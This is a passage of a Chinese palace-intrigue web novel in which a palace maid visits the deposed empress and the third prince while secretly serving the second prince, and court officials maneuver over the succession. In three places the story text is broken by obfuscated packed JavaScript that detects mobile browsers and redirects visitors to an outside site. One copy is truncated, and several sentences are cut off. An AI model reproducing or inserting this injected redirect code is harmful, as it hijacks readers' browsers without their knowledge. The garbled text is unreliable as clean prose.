竺影解释说：“奴婢也是人，也是会害病的。寻常宫奴没有得医员诊治的殊荣，若是害了病只能靠自己挺过去，一来二去，便也学了些皮毛。” 孟闻道：“粗通一些，便敢私自换药吗？” 竺影道：“这副药方从前也治好了许多害伤寒的病人。三皇子既然信不过小人，因何唤小人前来？” 孟闻道：“那些书秘阁已派人来取走了，这里的事与你毫无关系，你却三番两次到这儿来，不觉奇怪吗？” 竺影不急不忙道：“当初也是这里的人托我去请医，我今日来，是因为这里仍有人病着。” 他垂下头，无奈地笑笑：“这宫里无时无处不有人染病。” 所以她如何顾得过来，怎么偏偏只顾了这一处呢？ 竺影听懂了他的话外音，这回带来的药有两份，她一一摆在案上。 “这是今明两天的药，如果只是寻常伤寒，应该也快痊愈了。冬日里药冷得快，药效也散得快，将药放在夫人屋子里煎，现煎现服最好。至于另一份，是太医署开的药。三皇子信不过我，可以继续用着。医官害怕掉脑袋，自然不会在里面做手脚。” “劳你煞费苦心了。” 他不去看那些药，只是兀自转身走近窗边，凝睇落雪的屋檐。 竺影也顺着他的目光看去，只见覆雪的小院内，几间屋子窗牖紧闭着，屋后是宫墙，什么也看不到。 他叹道：“只是旧年沉疴，积郁于心，寻常药石是治不好的。” 一丝无可奈何的悲怆涌上心头，竺影默默拢袖起身。 孟闻听到那窸窣的动静，微微侧头看她。 “我想向你求一物。” “何物？”请辞的话未出口，她又停在原处，“但使小人能拿到的，还请三皇子说来。” 孟闻道：“若你途中得见被雪压折的松枝，请将它带过来。依宫人何时闲暇，晚些也无妨。” 她不解其间深意，还是应下了。 “三日后的这个时辰，请三皇子在这里等我。” 竺影朝他揖了一揖，辞行出了门。 天边的浮云不知何时又化作细雪落下，一刻不觉便沾上了衣裳。 徴音推门而出，疾行追上她：“宫人慢些走，三皇子说你来时没带伞，差我来给你送伞。” 竺影接过纸伞，笑道：“多谢，我下次来时再归还。” 归去路上，两棵青松还在凛冬屹立，只是不见了被压垮的松枝。 西华门处停了一辆车驾，其后走出一个缁衣广袖的年轻男子，肩上披着貂裘。他身后侍从撑着华盖，青色覆莲伞盖上落满了雪尘。 隔着覆雪的宫道，竺影遥遥望了他一眼，那人似察觉到远处的目光，也回望向她。 只一眼，落雪无声，相顾无言。 秘书监祝大人又受召入宫了。 听闻他前几日在家中养病，今日才重返朝中，二皇子孟晓早已等候他多时。 祝大人从鸿嘉殿回来，便坐在秘阁临窗的一张书案前，勘正下属编撰的经书。 二皇子来时未打招呼，祝从嘉甫一抬头，便见着他在侍者牵引下，穿过浩繁卷帙而来。 孟晓正了正衣冠，拢袖同他道礼：“见过祝大人。” 祝从嘉放下书卷，起身向他回礼道：“见过二殿下。不知殿下冒雪前来，有何贵干？” 孟晓请他落座，微笑道：“久闻祝先生博学多才，今日叨扰，是为求教而来。” 祝从嘉先已落座，自惭形秽而笑：“殿下言过了，下官天资愚钝，阅历也不曾盖过诸位同僚，委实当不起先生之称。” 孟晓道：“确有一事不解，非急事，非难事，也非易事。” “还请直言。” 对坐之人只撑着一双散涣无神的眼，静默恭听。不失礼节，又有意疏离。 “那日父皇召大人到鸿嘉殿，大人见他……可还安好？” “陛下身体已无大碍，只是尚为各地灾祸而忧心罢了，殿下不必担心。” 孟晓道：“可我尚有一事不解，大人说父皇正因今年灾祸而忧心，可他执着于重修观星楼一事又是为何？今年勉强拨出几笔赈灾款，若是再建一座楼，那可是一笔不小的数目啊……” 起初朝臣们阻挠这事，便是担忧这样大的一笔开支，从何而来？ 祝从嘉正襟危坐道：“陛下视之为耻。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361909|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哦？”孟晓稍稍提起些兴致，复问道，“观星楼被毁是偶然，何来耻？” 祝从嘉道：“当年被毁的不仅是这座楼，还有并州以北的十一城，至今还在外族手里。这些年来陛下夙兴夜寐，放不下也忘不得。观星楼是必然要重建的，或早或晚罢了。” “原来如此。”孟晓恍然，“大人所言竟与我从别处听来的不同。” 祝从嘉道：“或许此事因果万千，下官也只能得见其中一面。” 孟晓垂头思量片刻，偶然瞥见一旁未来得及收拾的棋局。 “大人闲暇之时，也会在阁中弈棋吗？” “并非，下官已多年不执棋了。” “那么这棋局……” 祝从嘉淡笑道：“此局为襄王所下。实不相瞒，二殿下来之前，襄王已经来找过下官了。” 孟晓并不意外，他走向那棋盘，拈起一颗棋子观残局，却迟迟不落子。 他问道：“皇兄今日出宫，却还要赶着来见您一面，应当是为了很重要的事吧？” 祝从嘉道：“无非是鸿嘉殿前语，朝堂二三事。比起各地灾情、南边动乱这些关系民生的大事，又有何事算得上重要？襄王太过着急，许多事还未有个定论，便急于求取一个答案。换作是寻常问询，下官一定竭力为殿下解惑。可若到了揣度圣意这一步，想从下官这里探一探口风，并非明智之举。” 祝从嘉道：“陛下生平最恶臆度为据之徒，竞逐攘攘之辈。奉劝殿下一句，有些事、有些话千万不要问出口。圣意难测，天命难改。一旦有人走漏了风声，在陛下心中种下了怀疑的种子，便再也无法挽回了。 “事之端倪未显、局势纷淆之际，必然会有所保留。不若如此，天下逐利者众，逢乱象而争相谋利，只会使局势愈发混乱。” 孟晓笑道：“大人便是这样看他的吗？” 祝从嘉道：“襄王武断有余，沉稳不足，不及二殿下沉得住气。须得先安一家之事，才能治一县一州之事，末了才谈一境一国之事。欲往上登临，还需先往脚下看。与其观权势，不妨先观民事。” 孟晓道：“大人这话，就不怕我与襄王说去？” 祝从嘉淡淡道：“下官既然敢说，就没有什么是他听不得的。” 孟晓手中那颗棋子仍未落下，思忖良久才道出疑惑：“为何这棋局不完整，总觉得残缺了？” 祝从嘉道：“先前有宫人前来洒扫，应是不小心遗落了几颗棋子。” 孟晓低头一看，地上果真散落着三两枚棋子。 他躬身拾起棋子，又将其拢到棋盘上来，棋局便完整了。 他笑道：“难怪呢，原来还在棋盘外。” 祝从嘉早已拿起书卷，低眉敛目不再说起其他。 孟晓起身向他行了一礼，说道：“多谢大人解惑，我没有其他要问的了。大人身体有恙，留在阁中吧，不必相送了。” 祝从嘉轻咳了声，略略颔首道：“多谢殿下见谅。” 二皇子自然不会与一个病人计较这些礼节。 出了秘阁，早有侍从撑伞而来，在台基下等候。 檐外雪还在下着。 他抬手伸向檐外，接住几颗飘落的雪粒，仿若视这家国天下事，不过檐外掌中雪，触手可及。 5. 掌中栖雪（五） 三日后，又是一个落雪的清晨。 竺影系上新制的香囊，裹上披风踏出静和宫宫门，穿过长街往西面去。途径掖庭宫时，果然看到雪地里折断的松枝。 此时宫外无人，只有两只在雪地里觅食的麻雀，见她来了又惊走。 冷宫的门虚掩着，门栓没有落下，轻轻一推就开了。 孟闻正伏案，闻声往屋外看去，继而见她解下风帽，呼出的热气散去后，露出一双冻得湿润的眼。 没等他挪动身子，徴音已经从厨房里跑出来，几乎是飞奔上去，一面替她揉搓红肿的双手，一面又问着：“这么冷的天，怎么不等雪停了再来啊？” 竺影眨了眨眼，说：“不觉着冷。”轻轻一笑敷衍过去。 孟闻看了一眼墨碟里剩的些许墨汁，还是放下笔，拢了氅衣出门去。 屋外的两人一齐转过头来，竺影有些拘谨，捧着松枝依旧不忘行礼：“三皇子，您要的松枝，小人替您拾来了。” 他让徴音将松枝拿去，又问竺影：“你不问我拿这松枝作何用处吗？” 她想了想，颇有些天真道：“还有几日便是冬节，小人来时也见掖庭的宫人在折松枝，想是拿来插瓶，做清供的吧。” 孟闻不置可否，其实冷宫里并无这些讲究。 他没回答，竺影有些局促地揉了揉双手，又笼进袖中。 “太医署没再开药，不知夫人可好些了？”她问。 “好些了。”孟闻转身朝另一边屋舍走去，又问她，“不知宫人可有空闲？” “正好得闲。”竺影亦步亦趋跟上去。 他停在紧闭的门窗前，“母亲说，她想见你。” “我？”竺影深感意外，倒是比她预想中更好接近，甚至不必费尽心机去铺陈什么，便要见到她相见之人了。 “小人贸然前去，会不会惊扰了夫人？” “不会。”孟闻道。 徴音道：“羽音才盛了饭食送去，我去看看夫人是否用完了饭。” 孟闻点头道：“去吧。” 竺影同他在屋外候着，时不时悄悄打量他一眼。 许是冷宫常年不见暖阳，而他久居低檐下，肤如白玉。至于手指上生的冻疮，像玉里飘的棉絮，多了些瑕疵。 素簪素衣，便衬得他更为暗淡。 转眼太子已废了七年，竺影快不记得他锦衣玉簪的模样了。 她默默观着雪中的人，而他只看着庭中静谧白雪，什么话也不说。 没过多久，徴音端着食案从屋里出来，食案上还剩下半碗豆羹。 竺影头一回知道，原来她吃着这样的粗茶淡饭，连寻常宫人都比不得。 孟闻一看她，她便无奈摇头，回禀道：“夫人依旧无甚胃口，精神也不大好，只吃了一些。” 他神色淡淡，只道：“已经比昨日好，不必勉强了。” 徴音叹息一声，端着残羹往厨下去了。 “进来罢。” 孟闻推开门，掀了一道帘子引她入内。 竺影迈步往帘中探去，狭窄的屋子里只能摆得下一张古朴的案几，一张陈旧的床榻，除此以外什么装饰也没有。 窗格上的纸糊了一层又一层，门缝透过的天光照彻浮动的微尘，屋内只生了一盆炭火，腥苦的药味在冷冬里凝滞不消，也不知这里的人是怎么熬过了七年岁月。 这地方太沉闷，榻上病着的人也昏沉沉。 羽音本守在陆皇后榻侧，见有人来了，自觉让出了位置。 孟闻走到榻边蹲下，握住陆皇后的手，轻声将她从浅眠中唤醒。 “母亲，她来了。” 丝与麻的织物摩擦发出窸窣声响，榻上的夫人在旁人搀扶下勉强坐起身来。 竺影缓缓走过去，与陆皇后的视线对上。 只见她伤寒已经痊愈，不再咳嗽，却仍旧一副消瘦面容，孱僽脸色，仿佛一举一动都耗尽所有的气力。 哪里像个活人啊，分明了无生气。 在很久很久以前，她们曾有过一面之缘，彼时竺影还是随父兄进宫赴宴的小女郎，陆尚书之女陆韫之也还端坐在皇帝身侧，与君同尊，享无上荣华。 天意弄人，却在弹指间，教往昔风华灰飞烟灭。 曾经母仪天下的皇后见过了太多人面，谄媚的、虔诚的，可爱的与可憎的…… 或许记不起竺家女郎是何许人也。 可陆皇后盯着竺影的脸看了半晌，轻轻唤她：“好孩子，你叫什么名字？” “小人叫鸣竹。”竺影低着头应答。 陆皇后目光一滞，如同记不得这个名字，于是又问她：“鸣竹是后来的名字吧，你从前又叫什么？” 竺影不作声，只是摇头。 这凝眉沉思的神情落在陆皇后眼里，她像明白了什么，突然道：“闻儿，你同羽音出去吧。” 羽音问道：“夫人不需我照看着吗？” 孟闻看了竺影一眼，不知是叮嘱还是告诫，只道：“不过一时半刻，应母亲的话，先出去吧。” 狭窄的屋内只剩下两人，倒敞亮了些许，连呼吸都轻快许多。 “鸣竹，像明珠似的，一定也是家中长辈珍视的掌珠，走过来些吧，让我看一看你。”陆皇后唤她到榻边坐下，莫名亲昵地握住她的手。 竺影看着妇人的手，轻轻盖在她掌上，使被冻僵的手渐渐有了些温度，不由呢喃：“夫人说过的话，竟与我的母亲很像，这名字正是这样得来的。” 陆皇后道：“家人既珍视你，怎会舍得送你入宫呢？” 竺影垂下眸道：“家中获罪了……” 一句话囊括了所有前因后果。 陆皇后怔忡着道：“是我失言，不该问这些。” 竺影淡淡笑道：“不妨事，夫人看着病好了，能否让我来为您把脉？” 陆皇后没有说话，只是任由竺影搭上她的脉搏。 一息、两息、三息…… 竺影低头专注，把完了一只，又换另一只手，奈何五十息后，她面上早已僵住，嘴角再牵扯不出一丝笑意。 “怎么了？” 竺影仰头看向她，多年以来的怨恨与苦楚尽数落在她眼角眉梢，留下一道道深痕，那张脸上再没有点过胭脂，早不复昔日荣华。触及她眼中遗憾，像一朵开败的花，如何看都觉得惋惜。 是旧年沉疴，也是心疾。她从不善医人心，亲眼见过深宫中的许多花儿都像这样开败。 可她无法直说，只得牵强解释：“怪我学艺不精，竟什么也瞧不出来。” 陆皇后听不出谎，只安慰她说：“哪里能怪你一个小女娘？其实不必为我费这些心思，闻儿叫你过来不是为其他，只是……我想见见你罢了。” 废后纯粹只是为见她，还是像见昔日的家人，竺影不懂。 她与陆芃同龄，借着那点虚无缥缈的联系，不知所谓地闯进这西苑里来，归根结底只是别有用心。 “我见夫人神色疲惫，料想近来难得好眠？这只香囊里加了白芷和紫苏，可以宁神解郁。赠给夫人可好？”她从腰间解下一只香囊，递到废后面前。 陆皇后垂眸凝着这小物件，暮山紫的绸缎上绣着云纹，穗子是青罗丝带编的酢浆草结，其下悬着一双青绿流苏，很是漂亮。 材质不寻常，调香也不寻常。 陆皇后问：“这香并不常见，是谁教你调制的？” 竺影道：“是掖庭里的宫人。从前我在掖庭为贵人熏衣时，同她们学的。” 陆皇后问言呐呐：“原来是这般……” 竺影道：“不是什么珍贵物什，只盼着夫人心情能好些。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361910|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那我就收下了。”陆皇后拿着香囊，宁静又慈祥地笑着。 竺影终是不忍再看下去，只得请辞：“晚些我还得赶回去呢，就不打扰夫人休憩了。” “好，叫羽音送一送你吧。”皇后撒了手，由着她离去。 她离了那间逼仄沉闷的屋子，才得以在天光下肆意地喘息。 徴音羽音已经在别处忙碌了，孟闻还在门外候着。 竺影同他道：“夫人又睡下了。” “嗯。”他淡淡应了声，没问陆皇后同她说了些什么。 竺影又道：“小人今日已出来很久，该回去了。” 本该就此别过，转身时他忽然叫住她：“为何如此？” “什么？”竺影听着他不着前言后语的话，有些茫然。 “你职权不高，胆子不小。”他神色一凛，冷淡道，“可我尚且困于一隅，失却先机。你几次三番冒险来这里，又是图什么？” 他大概是思来想去仍然想不通，又信不过，是个爱刨根问底的人。 竺影笑着答：“小人初入宫时在鸣鸾宫当值，曾受皇后恩典，权当是还了当年一桩恩吧。” “仅是如此？” “仅是如此。” 没有半句出于她的肺腑之言。 可她弯着眉眼勾起唇，笑中也多了分真诚，叫他纠不出半分错处。 “无事了，早些归去。”他张口时，声音哑了，嗓子像被冰天雪地冻住，只剩下稀松平常的话语。 “冷宫里严寒更甚，三皇子保重。”竺影朝他再拜，随即折返回道中，任由呼啸的寒风裹着她离去。 只盼着不久的将来，他早些出囹圄，不再需要一介宫人的怜悯。 停雪轩的雪还在下，小轩虽题名为停雪，落在此处的雪并不比别处少。 二皇子孟晓在轩中观雪，观困囿于凝冰之下的一池鱼。 竺影从静和宫外回来，那凝望便由池鱼转移至她身上。 “回来了？” “嗯。”她轻声应答。 “今日无事，只待你回来陪我用膳。”孟晓接过宁葭递来的狐裘，披在竺影身上，又携她往屋内走。 竺影将那遮住视线的绒毛拨开些许，说道：“让殿下久等了，早知该快些回来的。” 孟晓道：“此时回来正好，早些也还不饿，厨下送来的肉羹还在染炉上温着。” 竺影执着他冰冷的手，道：“可还是让殿下吹了好一阵的冷风。” 她一直知晓的，他每每立于廊下，便是在等她。 被人察觉了心思，他眉尾一扬，试图以一笑遮掩，又说起旁的事：“你几时换了熏香？” 竺影随口道：“屋里的熏香从未换过，回来路上途径梅园，许是沾染了那里的气味吧。” “不对。”孟晓俯身执起竺影的袖角，原有的熏香被被雪气盖住了一些。“不是花香，是香料的气味，除了丁香，还多了白芷与紫苏……并非你从前喜欢的。” 竺影想起今日去冷宫，交给路皇后的香囊曾被她揣在身上，难免沾惹一些。可这些不必去与他解释，是故随口诌了个由头：“近来睡得不好，这才加了两种宁神的香料。” 孟晓道：“从前不见你这样，冷宫里那位就这么不好对付？” 竺影道：“的确不好诓骗，难知他会不会信我。也不知陛下何时才能记起冷宫那位，要我再瞒下去，只怕会露出破绽。” “快了。”他宽慰道，“只待祝大人下一次进宫。” “殿下已经与祝大人谈妥了吗？” “也许吧，谁能想到秘书令也喜欢打哑谜？”他有意戏弄，偏偏给出个模棱两可的回答。 竺影拧起眉头佯装要怒，他即刻换了一副笑颜。 “自然是要谈妥的，不然真叫你白跑这么多趟了。” 6. 掌中栖雪（六） “那时朕于病中苏醒，见一众朝臣围聚上来，也不知是盼望朕安好，还是等着朕的遗诏。” 冷清寂静的大殿内，一箸香静默燃烧着，香烟顺着透过窗棂的光线攀爬，徐徐攀上金丝楠木的梁柱。 几个炉子中的银炭烧得哔剥作响，驱走周遭寒气，也熏得人口舌干燥。 炭炉簇拥着主位，座上披衣而坐者，正是当朝皇帝孟壅。 圣人一语掷地，臣子听了惶恐顿首。 “陛下不可妄语——” 皇帝孟雍只摆手笑道：“无妨无妨，圣人尚且百无禁忌，你怎么还信这种妄诞？” 见天子只将其视作玩笑话，尚泓才缓缓抬起头来，笑着道：“诸位大人也只是忧君心切，绝无他意。” 孟雍听罢这话，又走下主位，在大殿里来回踱步，奚落起他来：“这会，你又愿与他们为伍了？” 尚常侍一颗悬着的心刚放下，便又开始咋舌。 孟雍遂不理会他，转而看向一旁跽坐的祝大人：“已近岁暮，北地之事仍未了，朕这一口气还闷在胸中，祝卿可有法子治一治他们？” 祝从嘉离席而拜，回道：“屡屡阻挠在北地重修观星楼，或许只是为首几位大臣的意思，众臣未必愿意阻拦陛下。但使王氏与梁氏两家沆瀣一气，必会有群臣附和，剩下些零落的声音，便听不见了。” 皇帝又问：“那当如何？” 祝从嘉道：“成年皇子当中，只有皇子觉封了王，转眼二皇子也到了出宫开府的年纪。陛下不如趁此时提拔陈氏，顺道拉拢崔氏，余下的那些便趁着冬至宴赏，敲打一番也好。至于前往北地之事，尚缺少一个契机，重修旧楼算不上一个好由头。此为微臣拙见，陛下不必尽信，不妨问问太史令与其他臣僚的意思。” 孟雍道：“陈氏为二皇子母族，尚书令陈柯已是当朝宰辅，不作打压也就罢了，卿为何反其道而行之？” 祝从嘉道：“王粱两家怎忍见陈氏坐大呢？” 皇帝听完抚掌而笑，直言：“便依祝卿所言。” 笑声响彻大殿，尚常侍立在一旁，不觉抬袖揩汗，真真是好一对昏君与奸臣。 孟雍又走回主位落座，再抛出一问：“祝卿以为，朕膝下四子如何？” 祝大人听了皇帝的发问，顿了良久不言。 自废后幽禁冷宫以来，陛下头一次提及四子，将三皇子也囊括在内。 也许是从鬼门关里走了一遭，又经祝大人提醒，他终于想起来自己在冷宫中还有个儿子。 祝从嘉正忖度着，怎样一套说辞，才能使得病未痊愈的天子既不动怒，也不动气。 “怎么？”永朔皇帝复又发问，“世人都说你博学，天下之事无所不晓，朕随口一问竟将你难倒了？” 祝从嘉避席长拜，回道：“君王一言一行皆关乎社稷，是以臣不可以随意答。微臣以为，皇子觉武勇过人，论及操戈演武之术无人能出其右，只是独断而专行，性情有待磨练。皇子晓自幼聪颖，机敏善辨，论才学为众皇子之首，奈何多谋寡断，心性有待磨练。皇子望尚且年幼，却明于事理，勤学刻苦，颇得太傅赏识。只是论及性情，太过温和，易被旁人左右。 “至于三皇子孟闻——” 这是许久不被提起的一个人了，祝从嘉顿了顿，却又给陛下卖了个关子：“已经多年不见，臣对此知之甚少，故不敢妄自断言。” 永朔皇帝一手撑着扶手，一手轻敲金炉壁，沉思片刻，说道：“那你且说说，他少时如何？” 祝从嘉道：“三皇子少年时好文，不专武，比之前两位皇子资质略平庸了些。可微臣依稀记得，多年以前三皇子在林场猎鹿，以幼鹿待哺为由，不忍射杀母鹿，从而被他人抢去先机。” 皇帝问：“祝卿此话，是褒还是贬？” 祝从嘉道：“能挽弓猎鹿的英杰常有，年少赤忱却最是难得。放在从前，谁人不称赞三皇子宽厚，有仁德之心。” 孟雍又道：“祝卿的意思，是几位皇子各有千秋，但属二皇子晓品性才学最佳？” 祝从嘉拱手再拜道：“微臣方才所言，是以衡量一个臣子的标准，而非出于立储的考量。私以为在社稷面前，四位皇子皆不及陛下。” “哈哈哈哈——”皇帝抚掌大笑道，“祝卿啊祝卿，何时与那些宦官学来的溜须拍马，哄朕开心？” 祝从嘉道：“微臣所言皆出自肺腑，若陛下咨臣以立储之事，仅听臣一人之言或许有失公允。不过料想陛下自有定夺，立长立嫡皆循旧例，废长立贤亦是情理之中。” “你说的对，朕的确该先见一见他。”皇帝一挥广袖腾出手来，吩咐道，“尚泓，置笔研墨……” 尚泓刚应声上前，皇帝忽又转了念头。 “罢了，还是再等等。” 尚常侍此时问了一句：“今年冬至，西苑份例如旧吗？可还需要再赏赐些什么？” 皇帝摆了摆手，道：“如旧，你自行决断吧。” 十一月廿九这天是冬至，民间常言若冬至落在月尾，这个冬日将极长久而寒冷。 本来还说今年不如何冷，月末雪又厚了起来。 天气竟也如斯反复无常。 太史监一群神棍占吉报丰，将这一场压塌松枝与屋顶的大雪吹嘘成了丰年瑞雪，直言今年逢上了祥冬，明年必定海晏河清，盛世清平。 皇帝听后大喜，群臣纷纷上书拜贺冬节，领了赏赐归家团圆。 阖宫上下挂起了灯，喜气洋洋，寻常宫人也能分得一碗娇耳。 静和宫里也有贵主来，是崔太常家的女公子崔月仪。宴后，宜夫人特地邀她到暖阁里吃茶。 热气腾腾的娇耳端上了桌，几个小宫女聚在一起，彼此汲取一点暖意。她们望着那燎香生烟的暖阁，又想起刚刚踏入其中的客人，不由好奇。 其中一个说道：“你们方才看到了吗？今日崔太常家的女儿进宫，宜夫人还请她到了咱们宫里来，当时二皇子也在呢。” 另一个小宫女嘴里娇耳还未咽下，便忍不住附和着：“我藏在柱子后偷偷看了一眼，崔女郎发髻梳得高高的，簪着花树金步摇，腰间缀满琳琅玉，一身打扮漂亮极了，莫说是贵女，说是神仙中人也不为过。” “随大人们入宫拜贺的家眷不少，夫人却只请了崔家女郎，算下来二皇子正到了选皇子妃的年纪，莫不是早就钟意于她？” “兴许吧，崔家女郎那么漂亮，崔太常又与夫人的父亲交好，夫人自然喜欢的。” 忽有个小宫女天真发问：“那兰姊姊怎么办？” 此刻提起她，难免有些不合时宜，众人不知怎么接话了。 有个宫人捏了捏她的脸，笑道：“我的傻阿颜，纵使殿下待她再好，她终归和我们这些做奴婢的一样，和京城里那些女郎是不同的。” 阿颜不解道：“可是夫人也喜欢她啊。” “喜欢又如何？你瞧襄王府里侧妃媵妾多得数不尽，正妃却只有一位，到底是两回事啊——” “住口！” 一声呵斥打断了饭桌上的闲言，众人都回头看去，来人正是宜夫人身边的掌事宫女紫裳。 几人倏然寂静，谁也没再开口。 紫裳道：“夫人怜恤宫人平日里辛苦，给了赏赐许你们休息，你们反倒在此处碎语，仔细你们的舌头！” 一时间碗筷都搁下，宫人们慌忙站起来，三言两语为自己辩解：“姑姑，我们知错，下回不敢了。” 紫裳望一眼暖阁的方向，又回过头来瞟几人一眼，训斥道：“贵主尚还在宫中，若有半句闲言飘进了她耳朵里，夫人唯你们是问！” 宫人们再三保证，这些小事也就翻了篇。 紫裳一摆手，本要打发了她们，竺影恰在此时捧着一尊梅瓶从这处经过。 她似是什么恶语都没听见，只当作无事发生，笑吟吟看向紫裳道：“谁竟惹姑姑生气了？客人还未走就训斥起人来。” 紫裳冷笑道：“怪她们记吃不记打，得些好处便不知轻重了。” “哦——原来是这样啊。”竺影笑意不改，也学着那阴阳怪调，“夫人要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宜夫人道：“无妨，外头风雪大，本不该让你走这么远的。二郎在停雪轩等你，快些去罢。” 竺影迟疑片刻，缓缓点头道好。 夫人又叮嘱她：“他近来心情不好，此时正与我置气，还需你好好开解一番。” 果然如她所想，这母子二人又生了龃龉。 竺影隐隐猜到与崔家女郎入宫有关，又或许与鸿嘉殿有关，毕竟二皇子的事夫人从不轻易做主。 她在暖融融的屋子里没待多久，就又往冷地去。 数日不入停雪轩，重重积雪已压檐。 紫锦绣袍的青年徘徊廊下观雪，独立风霜前。 “殿下。” 竺影远远唤他一声。 “忙完了？” 孟晓抬眼一望，眉目乍然舒展。 “嗯。”竺影淡淡应答，走到他身侧去，“殿下怎么一直在屋外呀？” 孟晓道：“受些冷，才觉着清醒些。” “静和宫有客，二皇子却在这里，不去同夫人待客。”竺影知道说这些话他未必会高兴，可还是忍不住问起，“殿下这几日与夫人生了嫌隙？” 他眨着一双温和的眼，笑问：“有吗？” 过了一会儿，他又平静自言：“何时没有过？” 竺影道：“宫里人都知晓殿下要出宫了，除了每日晨昏定省，您去见夫人的次数却愈发地少。今日小宴，怕也是不欢而散吧。” “好端端提她做什么？平添一桩心事。”明谌这样说着。 她遂闭了嘴，没再开口。 可他真能自我纾解，便不会长久立在冷风里，凝睇一池枯荷了。 他又说起：“冬至时，父皇给冷宫送去了赏赐，这么多年不闻不问都过去了，今年倒是头一遭。对你来说应该算个好消息。” 竺影嗤道：“这算什么好消息？” “不算么？”孟晓道，“如此一来，你就不必再去那鬼地方了。” 是啊，她不必再去。 雪中送炭的赠与和锦上添花差了十万八千里。 三皇子早晚会出冷宫的，届时也不再需要她一个小小宫人的施予。 一切沿着她料定的方向发展，竺影却觉得心中惴惴，仍有不安。 7. 掌中栖雪（七） 冬至后，皇帝宴赏过群臣，又携几位近臣踱步在园中看雪。 随侍陛下左右者，当朝宰辅尚书令陈柯，崔太常，秘书令祝从嘉，尚常侍，还有两个新来的小太监。 两柄明黄华盖自松树下缓缓移出，将落于天子头上的雪尽数遮去。华盖之下，东风吹起伞边莲瓣，伞下铜铃当啷作响。 皇帝孟雍望着园中冒雪捡拾松枝的几个宫人，不由感慨：“今年的雪下得极大，园里的松枝又被压塌了。” 崔太常笑道：“今年冬月天赐瑞雪，是好兆头，明年必定是丰年。” 皇帝问道：“你什么时候会看天了？同太史令学的？” 崔太常道：“臣本书生，不通晓天文，未敢以为必然也。只是见陛下几日郁结不展，妄图以美言博陛下一笑罢了。” 皇帝叹息道：“每逢雪日，朕便想起当年北地一场寒灾，冻死了许许多多的人。年初，北地复有雨雪杀万物，夏日东南发了大水，怀山襄陵，中原又旱，国库入不敷支，朕亦心力难支。美言谁人都会说，你若想令朕展颜，倒不如将这些事解决了。” 崔太常木着脑袋，不敢答话了。 尚常侍道：“陛下忧国忧民，为此积劳成疾，天又何忍怪罪？故而降下一场瑞雪，昭圣德之崇高，广天下之人而告知。陛下难得有闲赏雪，不妨好好歇歇。” “哼。”皇帝仅是嗤之一笑，道，“净会拍马屁。” 崔太常竖起耳朵听着，恨不得与尚常侍逐字逐句学习。 不知不觉，众人已行至园子正中，恰望见前方几株高大的乔木，傲然立在雪中。 皇帝指着远处一株皑皑的棠棣，感慨道：“朕昨日在御花园中，见院中棠棣覆雪，遮天蔽日，有宫人伐其枝柯。忽想起旧年在王府，朕也曾亲手植下两株棠棣树，想来到来年春，应也是亭亭如盖了。树犹如此，教人情何以堪？” “如此的话——” 身后忽然传来一声短叹，戛然而止。 皇帝转头，唤起身后那个叫长芨的小太监：“怎么？你有话要说？” 小太监拢袖垂首，恭恭敬敬回道：“陛下既怀念故园之物，何不移栽到宫中来？常常思之，何不见之？” 皇帝轻笑道：“只怕树在故园已根深蒂固，移栽了不成活。” 小太监听完一愣，又道：“若树不能移，又为何不到故园去？” 不知是不是这话触怒了他，皇帝登时凝住了笑意，一个字也不说，直教人心慌意乱地揣摩圣意。 祝从嘉出言替他辩解：“长芨虽愚钝了些，但胜在诚恳，臣才将他带在身边。小子若有无知冒犯之处，还望陛下勿要降罪于他。” 皇帝摆了摆手，不以为意道：“无妨无妨，既是你秘阁的人，朕也并非不明事理，动辄降罪于人。” 祝从嘉道：“多谢陛下宽宏。” 皇帝又道：“既是祝大人认准的人，想来定有过人之处。适逢鸿嘉殿员缺，便将他调至御前吧。” 长芨还在愣着，尚泓提醒他道：“还不快谢恩？” 小太监这才手忙脚乱地跪下，叩谢皇恩。 皇帝遥遥一指鸣鸾宫，问道：“尚泓，此前命你着手翻新鸣鸾宫，办得如何了？” 尚常侍道：“回禀陛下，鸣鸾宫里许久不住人，许多物件都已陈旧，上上下下都修葺起来，还须得一些时日。” “正好。”皇帝微微颔首道，“便将王府那两棵棠棣，移栽到鸣鸾宫里去罢。” 尚常侍道：“是。” 走过那两棵棠，皇帝已然觉得兴致寥寥，说道：“宫中雪景年年如此，还是回去吧。告知那几个捡松枝的人，等雪停了再来，不必冒雪劳碌了。” 两柄华盖伞又摇摇摆摆向着鸿嘉殿去。 陛下刚一走，尚常侍便拧着长芨的耳朵骂道：“你个实心眼的夯货！陛下说的是树吗？你听不懂就不要胡乱接话。” 长芨不解：“不是树？那陛下说的是什么？” 尚常侍朝冷宫的方向眺了一眼，心里想着，陛下说的是人呐。 他并未与长芨解释，只语重心长道：“你才刚调来鸿嘉殿几日啊？今日走运，胜在陛下宽宏仁厚，下回再这样莽莽撞撞的话，可没人能保你。在陛下跟前须得谨言慎行，上头讲的话，要用脑子想，要用心听。” “小人记着了。”长芨点头，一一记着。 尚常侍回到鸿嘉殿时，陛下正在拟一道手谕。 